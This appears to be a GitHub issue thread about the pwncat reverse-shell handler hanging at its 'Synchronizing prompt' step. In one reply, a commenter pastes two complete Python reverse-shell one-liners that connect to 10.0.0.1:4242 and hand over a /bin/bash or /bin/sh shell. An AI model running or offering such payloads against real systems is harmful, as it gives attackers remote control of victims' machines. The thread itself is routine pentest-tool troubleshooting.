calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.62k stars 257 forks source link

[BUG] Stuck on Synchronizing prompt at 85.75% #46

Closed hironichu closed 4 years ago

hironichu commented 4 years ago

Describe the bug After putting Pwncat in listening mode and receiving connection, it stays on the step Synchronizing prompt, I tried doing a reverse shell manually and nothing goes wrong

Describe the target system Target system : Debian

To Reproduce Steps to reproduce the behavior:

  1. execute pwncat -l --port 444
  2. Launch the reverse shell code
  3. wait for pwncat to start
  4. Stuck at this step

Expected behavior Supposed to be executed normally I guess, it's the first time I am using pwncat

Screenshots

image
0xjbb commented 4 years ago

I also have had this issue, where you by chance using a python reverse shell that utilized pty.spawn("/bin/bash") ?

Such as this one: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

After switching from that to: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

pwncat worked! (For me atleast)

hironichu commented 4 years ago

Hm yes that's it, I will try but its exactly the python code I used that result in the bug! Thanks !

hironichu commented 4 years ago

After trying, I still get the same bug with different Python code... I will try other reverse shell but I don't know why this happens

juushya commented 4 years ago

@hironichu can you add info on reverse shell payload you are using? Did you generate it using msfvenom, or is it a reverse shell one-liner? What's the format of payload that results in error? Are there any errors/messages at the debian side when reverse shell connection to pwncat is initiated?

hironichu commented 4 years ago

I used the one @jb267 pointed out, I tried this amongs other that you can find here : Reverse Shell Cheatsheet

There is no error, like... pwncat connect and try to syncronize the shell,

while doing it via normal listener with netcat it works just fine " Are there any errors/messages at the debian side when reverse shell connection to pwncat is initiated? " I see nothing that shows an error or something wrong.. which confuses me

djjoa commented 4 years ago

image

I'm having the same exact problem. Stuck at hostname.

calebstewart commented 4 years ago

@djjoa that is a different problem. You are attempting to run pwncat from Windows. This is not supported.

hironichu commented 4 years ago

After some testing I did not find where the issue was.. but it seemed to work fine since an update.. or maybe it was just the reverse shell code that I was using on the remote machine !

calebstewart commented 4 years ago

Okay, I'm going to close this issue for now. Please re-open and/or create a new issue if this problem comes back up!